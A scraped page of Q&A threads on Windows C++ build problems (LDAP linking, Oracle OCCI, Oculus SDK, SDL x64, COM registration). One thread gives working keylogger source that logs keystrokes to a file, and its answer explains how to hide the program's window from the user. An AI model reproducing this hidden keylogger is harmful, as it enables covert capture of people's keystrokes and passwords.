windows C++ Ldap build error _imp__ldap_init() - c++

I am building a C++ program that queries against Active Directory using (Apache Directory studio) LDAP . Iam doing it with codeblocks IDE and windows 10. I have the following code sample from the program:
#include<iostream>
#include<windows.h>
#include<winldap.h>
using namespace std;
int main() {
LDAP* testLdapConnection = NULL;
ULONG version = LDAP_VERSION1;
ULONG connectionSuccess = 0;
testLdapConnection = ldap_initA("localhost",389);
if(testLdapConnection==NULL){
cout<<"connection Failed";
}
else{
cout<<"Success";
}
}
When I try to build this sample in codeblocks, the build fails and the line with ldap_init() is underlined in red. When I hover the mouse over the error, it says "Undefined reference to _imp__ldap_initA()."

You have to add Wldap32.lib to list of linked libraries in your project.

Related

OCCI 19.3.0: createConnection crashes with OCCIUTF16

we would like to upgrade from occi 18 to occi 19.3.0.0.0 because we want to be independent of old MS libraries (MSVCR120.DLL).
But there is the following error while connecting the database:
"Program: C:\Windows\SYSTEM32\MSVCP140D.dll
File: C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\INCLUDE\xstring
Line: 1695 Expression: string subscript out of range
For information ..."
When we remove "OCCIUTF16", "OCCIUTF16" in createEnvironment the connection succeeds.
We also recognized, that oci.dll was not loaded in this simple programm using occi 19. With occi 18 oci.dll was loaded.
#include "occi.h"
#include <iostream>
using namespace oracle::occi;
using namespace std;
int main(int argc, wchar_t * argv[])
{
try {
// OK
//auto env = Environment::createEnvironment(Environment::Mode(Environment::OBJECT | Environment::THREADED_MUTEXED));
//auto conn = env->createConnection("SCOTT", "tiger", "ORATEST");
// ERROR
auto env = Environment::createEnvironment("OCCIUTF16", "OCCIUTF16", Environment::Mode(Environment::OBJECT | Environment::THREADED_MUTEXED));
UString user((utext*)L"SCOTT");
UString pwd((utext*)L"tiger");
UString host((utext*)L"ORATEST");
auto conn = env->createConnection(user, pwd, host);
}
catch (SQLException & ex) {
cout << ex.what();
}
return 0;
}
Environment:
ORACLE SERVER 12.1.0.2
Microsoft Visual C++ 2017 Compiler Version 15.9.13
Basic Light Package Information
Wed May 29 22:35:38 MDT 2019
Client Shared Library 64-bit - 19.3.0.0.0
Any ideas?
Thanks in advance!
Can you provide the complete stack when it fails
The issue you are pointing at MSVCP140D.dll (D - Debug) -> so, I presume you are compiling with ORAOCCIxxD.LIB (Debug version). If you are using debug build, please use all components in debug build.
Yes, OCI.DLL will not be loaded along with ORAOCCI.DLL now.
Thanks,
-P. Venkatraman.

Oculus SDK and Visual Studio 2015 setup

I am very new to Visual Studio, C++ and the Oculus SDK, but have experience with Fortran, Matlab, and coding in general.
I have got the basic C++ libraries working, so #include iostream works.
I have got the LibOVR directory included, so that #include OVR_CAPI.h works.
I opened the LibOVR project into VS2015 and rebuilt it, which worked, creating a new LibOVR.lib file.
I moved the new .lib file into my project folder and also added this file path to the Linker -> Input.
But when I try to compile my own code, the basic ovr_initialize() command is said to be undefined.
I am just trying to get a basic code setup to extract the head position data from the IMU in the Oculus Rift, and eventually hoping to integrate this with some matlab code.
Here is my starting code, mostly commented out for now:
#include <iostream>
// Include the OculusVR SDK
#include <OVR_CAPI.h>
using namespace std;
int main()
{
int MyNumb;
cout << "Please, enter an integer: ";
cin >> MyNumb;
cin.ignore();
cout << "You entered: " << MyNumb;
cin.get();
return 1;
}
void application()
{
ovrresult result = ovr_initialize(nullptr); *THIS LINE GIVES ERROR*
// if (ovr_failure(result))
// return;
//
// ovrsession session;
// ovrgraphicsluid luid;
// result = ovr_create(&session, &luid);
// if (ovr_failure(result))
// {
// ovr_shutdown();
// return;
// }
//
// ovrhmddesc desc = ovr_gethmddesc(session);
// ovrsizei resolution = desc.resolution;
//
// ovr_destroy(session);
// ovr_shutdown();
}
Any help getting this up and running would be greatly appreciated!!

How can I run an exe file without the user finding out?

I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:
I want to know how to hide the running of the program.
#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");
}
}
system("PAUSE");
return 0;}
As #Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:
int main()
to:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by #Cheers and hth. -Alf) to this question:
With the Visual C++ compiler, if you're compiling from the command line, add the options
/link /subsystem:windows /entry:mainCRTStartup
If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.
For CodeBlocks, a very quick Google search revealed the following answer:
Click Project on the CodeBlocks menu.
Click Properties.
Click the second tab, Build Targets.
On the right, where it says Type: Console application, change it to GUI application.
Rebuild the project.
Your application will no longer make a window.

A simple SDL application does not work with x64 configuration using Visual Studio 2012

I coded a simple application using SDL which displays a simple window on Windows 8 (64 bits). In a first time I compiled and executed my code with Win32 configuration (default configuration) and the program works perfectly. Now I want to have the same execution but this time with x64 configuration. So I configured Visual using 'configurations manager' in my project properties and change my SDL.lib and SDLmain.lib choosing x64 libraries in the linker. The project compilation is ok but the execution fails saying that the application has failed to start properly. Here's a screen of the message (the memory address is always the same at each execution) :
And my c++ code :
#include <iostream>
#include <SDL/SDL.h>
#include <GL/glew.h>
#include <GL/glu.h>
#define WIDTH 500
#define HEIGHT 500
static float angle = 0.0f;
static void eventListener(SDL_Event *pEvent, bool *pContinue)
{
while (SDL_PollEvent(pEvent))
{
switch(pEvent->type)
{
case SDL_QUIT:
*pContinue = false;
break;
case SDL_KEYDOWN:
switch (pEvent->key.keysym.sym)
{
case SDLK_ESCAPE:
*pContinue = false;
break;
}
break;
}
}
}
#undef main
int main(void)
{
SDL_Event myEvent;
bool isAlive = true;
SDL_Init(SDL_INIT_VIDEO);
SDL_WM_SetCaption("Simple SDL window", NULL);
SDL_SetVideoMode(WIDTH, HEIGHT, 32, SDL_OPENGL);
while (isAlive == true)
{
eventListener(&myEvent, &isAlive);
}
SDL_Quit();
return (0);
}
I don't understand this message which is not precise. However my x64 SDL libraries linked to my project seems to be correct because the compilation is ok. So I wonder what's happening here. Does anyone already have encountered the same problem ?
Just googled for your error message, and it says that this error code (0x0c000007b) means INVALID_IMAGE_FORMAT.
This means that either you are mixing 32 and 64 bit binaries or you have corrupted binaries. Try to place you binary and your dependencies at the same folder and run the application. If the error continues, than one of your libraries must be corrupted. Else, it was a problem with the Windows loading a library for a different platform of your compiled binary.

how to use C++ load a COM server written in C#?

I am trying to use a COM server generated by Visual Studio 2010 .
When I run CreateInstance(..) , I get error code 0x80040154 .
I enabled fusion log and ran fuslogvw . Fuslogvw reported that loading of assembly (by unknown caller assembly)
mscorlib.resources, Version=4.0.0.0, Culture=zh-HK, PublicKeyToken=b77a5c561934e089
I have already installed .net framework 4 language pack for traditional chinese and also simplified chinese .
Please help . Thanks in advance.
My c++ code is as follow:
#include "stdafx.h"
#import "/Project/TestCOM/MyProject.tlb"
#include <comutil.h>
int _tmain(int argc, _TCHAR* argv[])
{
CoInitialize(NULL);
MyProject::_PHPStarterPtr pCalc;
HRESULT hRes = pCalc.CreateInstance(__uuidof(MyProject::PHPStarter));
if(FAILED(hRes))
{
printf("MyProject::_PHPStarterPtr failed w/err 0x%08lx\n", hRes); // it printed MyProject::_PHPStarterPtr failed w/err 0x80040154
}
else
{
pCalc->AddRef();
bstr_t s("hello");
bstr_t outStr = pCalc->Echo(s);
printf("outStr = %s\n", (const char *)outStr);
pCalc->Release();
printf("Dispose() done\n");
}
CoUninitialize();
return 0;
}
0x80040154 means "class not registered". To register COM components inside .NET assemblies, you use regasm.exe tool from the .NET framework directory. It can be done manually, or as a custom post-build step.